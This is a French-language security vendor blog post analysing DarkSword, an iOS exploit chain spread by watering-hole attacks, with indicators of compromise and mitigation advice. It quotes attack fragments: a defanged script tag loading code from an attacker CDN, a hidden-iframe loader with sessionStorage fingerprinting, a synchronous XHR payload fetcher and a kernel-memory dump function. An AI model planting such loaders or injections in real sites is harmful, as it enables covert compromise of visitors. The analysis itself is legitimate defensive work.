Skip to main content
Blog
Blog

DarkSword : une chaîne d'exploitation en JavaScript pur détourne des sites légitimes

DarkSword est une chaîne d'exploitation iOS complète distribuée via des attaques de point d'eau ciblant des sites légitimes compromis. Elle s'exécute entièrement en JavaScript, contourne les protections binaires et dépose des backdoors JavaScript qui exfiltrent des données sensibles.

Mar 20, 2026 5 min read
DarkSword : image de couverture de la chaîne d'exploitation en JavaScript pur qui détourne des sites légitimes

DarkSword marque une nouvelle étape dans l'exploitation d'iOS. Actif depuis au moins novembre 2025, cet exploit complet enchaîne plusieurs vulnérabilités — dont plusieurs zero-days — pour compromettre entièrement des appareils iOS. Le groupe d'espionnage russe présumé UNC6353 le distribue via des attaques de point d'eau en injectant des balises de script malveillantes dans des sites légitimes compromis. Le point central de préoccupation est la distribution : l'environnement côté client d'un site web devient un vecteur d'exploitation par un acteur étatique ciblant ses visiteurs.

Comment fonctionne la chaîne d'exploitation DarkSword

Les kits d'exploitation iOS antérieurs reposaient sur des composants binaires. DarkSword adopte une approche différente : toute la chaîne est écrite en JavaScript. En restant en JavaScript à chaque étape, les attaquants évitent les protections binaires comme le Page Protection Layer (PPL) et le Secure Page Table Monitor (SPTM) d'Apple. La chaîne cible les versions iOS comprises entre 18.4 et 18.7 et opère en plusieurs étapes qui font escalader une corruption mémoire dans le navigateur jusqu'à l'obtention de privilèges noyau complets.

Étapes de l'exploitation

Étape d'exploitationVulnérabilitéDescriptionZero-day ?
Exécution de code à distance (RCE)CVE-2025-31277 / CVE-2025-43529Corruption mémoire dans JavaScriptCore (confusion de type JIT et bugs GC).CVE-2025-43529 était un zero-day
Contournement PACCVE-2026-20700Contournement du Pointer Authentication Code en mode utilisateur dans dyld.Oui
Échappement du sandbox WebContentCVE-2025-14174Corruption mémoire dans ANGLE, permettant l'échappement vers le processus GPU.Oui
Échappement du sandbox GPUCVE-2025-43510Vulnérabilité de gestion mémoire dans le noyau iOS, avec pivot vers mediaplaybackd.Non
Élévation de privilègesCVE-2025-43520Corruption mémoire dans le noyau iOS, accordant des privilèges noyau complets.Non

Après avoir obtenu un compromis total, l'exploit dépose l'une des trois familles de malwares basées sur JavaScript : GHOSTBLADE, GHOSTKNIFE ou GHOSTSABER. Ces malwares agissent comme des collecteurs de données et des backdoors, exfiltrant les iMessages, les données de portefeuilles de cryptomonnaies, l'historique de localisation et les mots de passe WiFi enregistrés.

Exemple de code de débogage

Du code de débogage et des commentaires laissés dans les charges utiles révèlent les intentions des auteurs. GHOSTBLADE inclut des fonctions pour effectuer un hexdump de la mémoire noyau et cible spécifiquement les identifiants WiFi :

const TAG = "DarkSword-WIFI-DUMP";

function kdump(where, size, msg = "") {
 LOG(`[+] ----------- ${msg} ----------`);
 for (let i = 0n; i < size; i += 0x10n) {
 LOG(`[+] [${i.hex()}] ${(where + i).hex()}:	${early_kread64(where + i).hex()} ${early_kread64(where + i + 8n).hex()}`);
 }
}

Comment DarkSword utilise les attaques de point d'eau pour infecter les appareils iOS

UNC6353 compromet des sites légitimes et les transforme en points d'eau. Lorsqu'une cible visite l'un de ces sites, l'attaque s'exécute silencieusement en arrière-plan sans aucune interaction de l'utilisateur. L'attaque commence généralement par une seule balise injectée qui semble anodine dans le HTML, mais qui charge ensuite du JavaScript contrôlé par l'attaquant depuis un CDN tiers.

Exemple (affiché en échappé pour éviter d'intégrer une balise script réelle) :

<script async src="hxxps://static[.]cdncounter[.]net/widgets[.]js?uhfiu27fajf2948fjfefaa42"></script>

À partir de là, l'attaque se poursuit via des opérations côté client. Le chargeur peut créer des iframes cachées de 1x1 pixel, utiliser sessionStorage pour suivre et identifier les victimes, et récupérer des charges utiles obfusquées supplémentaires via des XHR synchrones. Comme toutes les actions utilisent des API web standard, elles se fondent dans l'activité normale du navigateur, sauf si l'environnement côté client est surveillé.

if (!sessionStorage.getItem("uid") && isTouchScreen) {
 sessionStorage.setItem("uid", '1');
 const frame = document.createElement("iframe");
 frame.src = "frame.html?" + Math.random();
 frame.style.height = 0;
 frame.style.width = 0;
 frame.style.border = "none";
 document.body.appendChild(frame);
} else {
 top.location.href = "red";
}
function getJS(fname,method = 'GET') {
 try {
 url = fname;
 print(`trying to fetch ${method} from: ${url}`);
 let xhr = new XMLHttpRequest();
 xhr.open("GET", `${url}` , false);
 xhr.send(null);
 return xhr.responseText;
 } catch(e) {
 print("got error in getJS: " + e);
 }
}

Pourquoi les défenses de sécurité traditionnelles ne détectent pas DarkSword

DarkSword met en évidence un angle mort dans la plupart des dispositifs de sécurité. Les défenses périmètriques, les WAF et de nombreux outils de détection endpoint ne voient pas l'activité à l'intérieur du navigateur. Le site compromis délivre ce qui ressemble à une ressource côté client normale, tandis que l'exploit réel se charge depuis un domaine tiers. Se défendre contre ces attaques nécessite une visibilité sur l'exécution côté client et la capacité de détecter des comportements anormaux du navigateur.

Indicateurs de compromission

  • Balises de script inattendues chargeant depuis des domaines inconnus ou suspects ;
  • Iframes cachées avec des dimensions de 1x1 pixel, une opacité quasi nulle ou un positionnement hors écran ;
  • Modifications inhabituelles de sessionStorage ou localStorage par des scripts non autorisés ;
  • Requêtes XHR ou Fetch récupérant des charges utiles JavaScript obfusquées supplémentaires.

Comment se défendre contre DarkSword et les attaques de point d'eau

Apple a corrigé les vulnérabilités DarkSword dans iOS 26.3, et les utilisateurs doivent mettre à jour immédiatement. Mais corriger les endpoints ne traite qu'une seule couche. Tant que les attaquants peuvent compromettre des sites légitimes et les utiliser comme vecteurs de distribution, les attaques de point d'eau continueront. Les opérateurs de sites web doivent renforcer leurs chaînes d'approvisionnement, surveiller les injections non autorisées et utiliser la surveillance côté client pour détecter l'exécution de scripts malveillants avant qu'ils ne déposent des charges utiles comme DarkSword.

Simon Wijckmans
Founder & CEO

Founder and CEO of cside. Previously a product manager on Cloudflare Page Shield (now Cloudflare Client-Side Security). Co-chair of the W3C Anti-Fraud Community Group and a Forbes 30 Under 30 honoree. Building accessible security against client-side attacks — web security is not an enterprise-only problem.

FAQ

Frequently Asked Questions

DarkSword reste entièrement en JavaScript pour éviter les protections au niveau binaire comme le Page Protection Layer (PPL) et le Secure Page Table Monitor (SPTM) d'Apple. En exploitant la corruption mémoire dans JavaScriptCore et les vulnérabilités d'échappement de sandbox qui s'ensuivent, la chaîne n'a jamais besoin d'exécuter des binaires natifs distincts, ce qui réduit l'efficacité des protections basées sur les binaires.

Les indicateurs clés comprennent des balises de script externes inattendues pointant vers des domaines tiers inconnus, des iframes cachées ou hors écran (souvent de 1x1 pixel), une activité inhabituelle dans sessionStorage/localStorage, et des requêtes XHR/Fetch synchrones récupérant du JavaScript obfusqué. La surveillance de ces comportements dans le navigateur permet de détecter des activités malveillantes que les outils périmètriques ne voient pas.

Isoler l'hôte compromis et préserver les journaux du serveur web ainsi que les ressources déployées, y compris les scripts injectés. Notifier les utilisateurs en aval, faire tourner les secrets exposés (clés API, tokens), et mettre en place une télémétrie limitée à l'incident pour capturer les artefacts côté client tels que les URL des scripts injectés, les schémas de navigation des iframes et les charges utiles XHR pour une analyse approfondie.

Mettre en place une télémétrie comportementale côté client qui enregistre les origines des scripts, la création d'iframes, les modifications du stockage et les requêtes réseau, avec un échantillonnage à débit limité et des garanties de confidentialité. Utiliser des listes d'autorisation pour les ressources tierces connues, des vérifications d'intégrité (SRI), des en-têtes CSP, et effectuer des analyses périodiques pour détecter les modifications non autorisées du HTML et du JavaScript servis.

Renforcer la sécurité de la chaîne d'approvisionnement en verrouillant les dépendances tierces, en exigeant des ressources signées ou vérifiées par intégrité, en activant la Content Security Policy (CSP), et en surveillant les modifications inattendues dans les fichiers hébergés sur CDN. Maintenir des contrôles d'accès stricts, faire tourner les identifiants et activer la surveillance de l'intégrité des fichiers sur les ressources web.

Les journaux côté client capturant les URL des scripts injectés, les événements de création d'iframes, les écritures dans sessionStorage/localStorage et les réponses XHR synchrones sont des indicateurs de haute fidélité. Complétez-les avec les journaux du serveur web montrant des requêtes inattendues pour des fichiers de widgets et des ressources CDN, et corrélez avec la télémétrie du navigateur endpoint si disponible.

Prioriser les mises à jour du système d'exploitation qui corrigent les CVE exploitées, puis déployer des mesures d'atténuation telles que le blocage des domaines malveillants connus en périphérie du réseau et la révocation des identifiants CDN compromis. Simultanément, mettre en place une détection côté client et renforcer les contrôles de la chaîne d'approvisionnement web pour réduire l'exposition future.

La CSP et la SRI sont des mesures d'atténuation efficaces lorsqu'elles sont correctement appliquées : la CSP restreint les sources depuis lesquelles les scripts peuvent être chargés et la SRI garantit que les ressources récupérées correspondent aux hachages d'intégrité attendus. Cependant, si l'attaquant peut modifier le site pour injecter sa propre ressource autorisée ou compromettre un CDN de confiance, ces contrôles peuvent être contournés ; ils doivent donc faire partie d'une défense en profondeur.

Surveillez et sécurisez vos scripts tiers

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Commencez gratuitement, ou essayez Business avec un essai de 14 jours.

cside Interface du tableau de bord affichant la surveillance des scripts et les analyses de sécurité
Related Articles
Réserver une démonstration